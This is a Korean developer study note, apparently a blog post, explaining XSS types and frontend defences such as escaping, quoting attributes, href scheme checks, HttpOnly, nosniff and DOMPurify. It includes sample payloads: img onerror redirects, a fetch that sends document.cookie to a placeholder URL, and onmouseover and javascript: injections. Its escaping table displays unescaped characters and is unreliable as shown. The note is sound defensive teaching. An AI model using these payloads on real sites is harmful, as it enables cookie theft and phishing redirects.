
XSS는 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 실행하는 공격. 교차 출처 페이지에서 실행될 경우 동일 출처 정책에 의해 차단되지만, XSS의 경우 공격 대상 페이지에서 자바스크립트를 실행하므로 동일 출처 정책으로 막을 수 없다.
XSS는 취약성 대책 정보 데이터베이스인 '보안 취약점 정보 포털', 'HackerOne' 등에서 리포트 건수가 가장 많을 만큼 빈번하게 발생하고 있다. 특히 브라우저에서 실행되는 자바스크립트로 인해 발생하는 XSS도 많으므로 프론트엔드의 대책도 마련되어 있어야 한다.
XSS는 사용자가 입력한 문자열을 그대로 HTML에 삽입할 때 발생하므로, innerHTML(dangerouslySetInnerHTML)를 이용해 HTML에 직접 데이터를 삽입하는 코드는 좋지 않다.
innerHTML에 스크립트 태그가 있으면 실행되지 않도록 자체적으로 막혀있으나 (관련 문서), 우회적인 방식을 통해 스크립트 태그를 실행시키는 경우도 있다.
<img src='x' onerror="location.href='https://test.example'" />
위와 같이 img src가 제대로 입력되지 않은 경우에는 onerror 함수를 실행시킨다. 위 코드가 HTML에 그대로 삽입되면 XSS의 위험성을 갖게 된다. 위 코드를 이용해 피싱사이트로 강제 이동시키기도 하며, 이외에도 정보 유출이나 웹 애플리케이션 변조 등 다양한 공격이 가능하다.
<img src='x' onerror="fetch(`전송URL?cookie=${document.cookie}`)" />
(쿠키값 탈취 테스트 사이트 dreamhack-tools)
이 중 반사형과 저장형 XSS는 서버 코드의 결함으로 발생, DOM 기반 XSS는 프런트엔드 코드 결함으로 발생한다. 발생 요인은 다르나, 세가지 모두 사용자의 브라우저에서 공격 코드가 실행된다.
공격자가 준비한 함정에서 발생하는 요청에 잘못된 스크립트를 포함하는 HTML을 서버에서 생성해 발생한다. 요청에 포함된 코드를 응답 HTML에 그대로 출력하기 때문에 반사형 XSS라고 한다. 악의적으로 조작된 링크 또는 웹 페이지에 접근한 사용자에게만 영향을 준다.

공격자가 폼 등으로부터 제출한 악성 스크립트를 포함하는 데이터가 서버에 저장되고 저장된 데이터 내 악성 스크립트가 웹 애플리케이션 페이지에 반영되어 발생한다. 악성 스크립트를 포함하는 데이터가 서버에 저장되므로 저장형 XSS라고 한다.
전송된 데이터를 보는 모든 불특정 다수의 사용자들이 XSS의 피해를 볼 수 있으므로 저장형 XSS를 가장 위험한 공격으로 본다.
DOM은 HTML을 조작하기 위한 인터페이스다. 브라우저는 HTML 구문을 해석해 DOM 트리라는 구조를 생성한다. 생성된 DOM 트리는 자바스크립트로 내용을 변경할 수 있다. DOM 트리의 내용이 바뀌면 DOM 트리의 원본이 되는 HTML도 다시 생성되므로 자바스크립트로 화면에 표시되는 내용을 바꿀 수 있다.
document.body.innerHTML ='<a href="https://test.example">새로운 사이트로 이동</a>';
위처럼 스크립트를 추가하면 DOM 트리가 변경되고, HTML도 따라서 변경된다. 이를 DOM 조작이라고 하며 이를 통해 동적인 페이지를 만들 수 있다.
DOM 기반 XSS의 원인이 되는 브라우저의 기능은 소스와 싱크로 분류할 수 있다.
소스와 싱크로 동작하는 기능은 보통은 위험하지 않지만 주의해서 사용해야 한다. 이 기능을 이용할 때 전달하는 데이터를 적절히 처리하면 XSS는 발생하지 않는다.
악성 스크립트가 포함된 문자열에 이스케이프 처리해 HTML로 해석되지 않도록 하는 방식.
이스케이프 처리는 프로그램에 특별한 의미를 갖는 문자나 기호를 특별하지 않은 의미로 변환 처리를 말한다.
<는 <로, >는 >로 변환한다
ex) <script> => <script>
이스케이프 처리 후, 문자열은 HTML로 해석되지 않고 웹 애플리케이션 화면에 <script>로 표시된다
| 특수 문자 | 이스케이프 처리 후 |
|---|---|
| & | & |
| < | < |
| > | > |
| “ | " |
| ' | ' |
<input type="text" value=security />
value=security 처럼 속성값을 문자열로 넣으면 이스케이프 처리로 예방이 안된다. 여기에 만약 공격자가 임의의 자바스크립트 코드를 삽입하면 취약점이 발생한다.
<input type="text" value=x onmouseover=alert(1) />
이런 식으로 속성값에 x onmouseover=alert(1)이 삽입된다면, onmouseover 이벤트가 실행된다.
<input type="text" value="{{keyword}}" />
이 취약점을 해결하기 위해 위와 같이 속성값을 쌍따옴표로 묶어서 처리한다.
이 상태에서 x onmouseover=alert(1)이 삽입된다면,
<input type="text" value="x onmouseover=alert(1)" />
이처럼 전체 값이 문자열로 처리된 상태로 속성값에 들어가게 된다.
a 태그의 경우 이스케이프 처리나 쌍따옴표의 방법으로도 예방할 수 없으므로, href 속성에 있는 url 값이 http나 https로 시작하는 값일 경우에만 실행되게 처리한다.
이같은 방법은 javascript: 또는 data: 와 같은 악성 프로토콜을 차단할 수 있다.
const url = new URL(location.href).searchParams.get("url");
if (url.match(/^https?:\/\//)) {
const a = document.querySelector("#my-link");
a.href = url;
}
const ancestor = document.getElementById('ancestor');
const div = document.createElement('div');
div.textContent = '콘텐츠 내용';
ancestor.appendChild(div);
로그인이 필요한 웹 애플리케이션은 로그인 후 세션 정보를 쿠키에 저장하는 경우가 많다. 이때 쿠키 값을 유출한 공격자가 사용자로 위장할 수 있다.
서버에서 쿠키를 발행할 때 HttpOnly 속성을 부여하면 XSS에 의한 쿠키 유출 위험을 줄일 수 있다.
React는 내부에서 이스케이프 기능을 자동으로 처리한다. (해당 공식 문서 링크)

Nextjs에서는 Content-Type헤더가 명시적으로 설정되지 않은 경우 브라우저가 콘텐츠 유형을 추측하는 것을 시도하지 못하게 막는 헤더를 제공하고 있다. 사용자가 파일을 업로드하거나 공유할 때 발생할 수 있는 XSS를 방지할 수 있다 (공식문서)
{
key: 'X-Content-Type-Options',
value: 'nosniff'
}
dangerouslySetInnerHTML는 innerHTML과 같은 기능을 갖고 있으므로, 되도록 사용하지 않는다.
대안 라이브러리
1. html-react-parser: 실제로 img 태그 이용해서 테스트해본 결과, 스크립트 실행이 막아지는 걸 볼 수 있었으나, XSS 방지 기능에 대한 개발자의 답변이 시원치 않다 (관련 논의)
2. DOMPurify: XSS 방지에 대한 대안으로 가장 많이 사용되는 라이브러리이다. 책 본문에도, 공식 문서 등에서도 위 라이브러리를 권하고 있다
javascript의 스키마에 의한 XSS를 막을 수 없다.
<a href=javascript:aler('xss')>XSS 공격</a>
공격자가 a 태그의 href 속성에 임의의 문자열을 넣을 수 있으면, javascript 스키마를 사용해 XSS 공격을 할 수 있다.
XSS 공격에 의한 스크립트 실행은 막으면서 <br> <p>와 같은 HTML을 부분 허용하고 싶을 때는 단순 이스케이프 처리로는 힘들다. 이때 DOMPurify 라이브러리가 일부 HTML 문자열만 제거하는 데에 유용하다.
개발에 대한 논의가 진행되고 있으나, 크롬에서는 지원을 중단한 상태다 (관련 문서)